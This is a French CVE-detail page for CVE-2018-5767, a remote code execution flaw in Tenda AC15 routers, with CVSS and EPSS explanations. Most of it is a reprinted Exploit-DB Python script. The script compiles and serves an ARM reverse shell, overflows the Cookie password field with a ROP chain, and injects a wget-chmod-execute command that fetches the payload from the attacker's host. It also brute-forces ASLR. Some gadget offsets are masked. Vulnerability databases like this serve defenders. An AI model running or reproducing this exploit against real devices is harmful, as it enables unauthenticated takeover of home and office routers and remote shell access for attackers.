CVE-2018-5767 : Détail

CVE-2018-5767

9.8
/
Critique
A03-Injection
67.54%V4
Network
2018-02-15
22h00 +00:00
2018-03-06
09h57 +00:00
CVE.org
NVD
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Descriptions du CVE

An issue was discovered on Tenda AC15 V15.03.1.16_multi devices. A remote, unauthenticated attacker can gain remote code execution on the device with a crafted password parameter for the COOKIE header.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 44253

Date de publication : 2018-02-13 23h00 +00:00
Auteur : Tim Carrington
EDB Vérifié : No

#!/usr/bin/env python # EDB Note ~ Source: https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/ import urllib2 import struct import time import socket from optparse import * import SimpleHTTPServer import SocketServer import threading import sys import os import subprocess ARM_REV_SHELL = ( "#include <sys/socket.h>\n" "#include <sys/types.h>\n" "#include <string.h>\n" "#include <stdio.h>\n" "#include <netinet/in.h>\n" "int main(int argc, char **argv)\n" "{\n" " struct sockaddr_in addr;\n" " socklen_t addrlen;\n" " int sock = socket(AF_INET, SOCK_STREAM, 0);\n" " memset(&addr, 0x00, sizeof(addr));\n" " addr.sin_family = AF_INET;\n" " addr.sin_port = htons(%d);\n" " addr.sin_addr.s_addr = inet_addr(\"%s\");\n" " int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\n" " dup2(sock, 0);\n" " dup2(sock, 1);\n" " dup2(sock, 2);\n" " system(\"/bin/sh\");\n" "}\n" ) REV_PORT = 31337 HTTPD_PORT = 8888 DONE = False """ * This function creates a listening socket on port * REV_PORT. When a connection is accepted it updates * the global DONE flag to indicate successful exploitation. * It then jumps into a loop whereby the user can send remote * commands to the device, interacting with a spawned /bin/sh * process. """ def threaded_listener(): global DONE s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) host = ("0.0.0.0", REV_PORT) try: s.bind(host) except: print "[+] Error binding to %d" %REV_PORT return -1 print "[+] Connect back listener running on port %d" %REV_PORT s.listen(1) conn, host = s.accept() #We got a connection, lets make the exploit thread aware DONE = True print "[+] Got connect back from %s" %host[0] print "[+] Entering command loop, enter exit to quit" #Loop continuosly, simple reverse shell interface. while True: print "#", cmd = raw_input() if cmd == "exit": break if cmd == '': continue conn.send(cmd + "\n") print conn.recv(4096) """ * Take the ARM_REV_SHELL code and modify it with * the given ip and port to connect back to. * This function then compiles the code into an * ARM binary. @Param comp_path – This should be the path of the cross-compiler. @Param my_ip – The IP address of the system running this code. """ def compile_shell(comp_path, my_ip): global ARM_REV_SHELL outfile = open("a.c", "w") ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip) outfile.write(ARM_REV_SHELL) outfile.close() compile_cmd = [comp_path, "a.c","-o", "a"] s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE) while s.poll() == None: continue if s.returncode == 0: return True else: print "[x] Error compiling code, check compiler? Read the README?" return False """ * This function uses the SimpleHTTPServer module to create * a http server that will serve our malicious binary. * This function is called as a thread, as a daemon process. """ def start_http_server(): Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(("", HTTPD_PORT), Handler) print "[+] Http server started on port %d" %HTTPD_PORT httpd.serve_forever() """ * This function presents the actual vulnerability exploited. * The Cookie header has a password field that is vulnerable to * a sscanf buffer overflow, we make use of 2 ROP gadgets to * bypass DEP/NX, and can brute force ASLR due to a watchdog * process restarting any processes that crash. * This function will continually make malicious requests to the * devices web interface until the DONE flag is set to True. @Param host – the ip address of the target. @Param port – the port the webserver is running on. @Param my_ip – The ip address of the attacking system. """ def exploit(host, port, my_ip): global DONE url = "http://%s:%s/goform/exeCommand"%(host, port) i = 0 command = "wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;" %(my_ip, HTTPD_PORT) #Guess the same libc base continuosly libc_base = **** curr_libc = libc_base + (0x7c << 12) system = struct.pack("<I", curr_libc + ****) #: pop {r3, r4, r7, pc} pop = struct.pack("<I", curr_libc + ****) #: mov r0, sp ; blx r3 mv_r0_sp = struct.pack("<I", curr_libc + ****) password = "A"*offset password += pop + system + "B"*8 + mv_r0_sp + command + ".gif" print "[+] Beginning brute force." while not DONE: i += 1 print "[+] Attempt %d" %i #build the request, with the malicious password field req = urllib2.Request(url) req.add_header("Cookie", "password=%s"%password) #The request will throw an exception when we crash the server, #we don't care about this, so don't handle it. try: resp = urllib2.urlopen(req) except: pass #Give the device some time to restart the time.sleep(1) print "[+] Exploit done" def main(): parser = OptionParser() parser.add_option("-t", "–target", dest="host_ip", help="IP address of the target") parser.add_option("-p", "–port", dest="host_port", help="Port of the targets webserver") parser.add_option("-c", "–comp-path", dest="compiler_path", help="path to arm cross compiler") parser.add_option("-m", "–my-ip", dest="my_ip", help="your ip address") options, args = parser.parse_args() host_ip = options.host_ip host_port = options.host_port comp_path = options.compiler_path my_ip = options.my_ip if host_ip == None or host_port == None: parser.error("[x] A target ip address (-t) and port (-p) are required") if comp_path == None: parser.error("[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/binaries/0.9.30/cross-compiler-arm4l.tar.bz2") if my_ip == None: parser.error("[x] Please pass your ip address (-m)") if not compile_shell(comp_path, my_ip): print "[x] Exiting due to error in compiling shell" return -1 httpd_thread = threading.Thread(target=start_http_server) httpd_thread.daemon = True httpd_thread.start() conn_listener = threading.Thread(target=threaded_listener) conn_listener.start() #Give the thread a little time to start up, and fail if that happens time.sleep(3) if not conn_listener.is_alive(): print "[x] Exiting due to conn_listener error" return -1 exploit(host_ip, host_port, my_ip) conn_listener.join() return 0 if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Tendacn>>Ac15_firmware >> Version 15.03.1.16

Tendacn>>Ac15 >> Version -

Références

https://www.exploit-db.com/exploits/44253/
Tags : exploit, x_refsource_EXPLOIT-DB
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.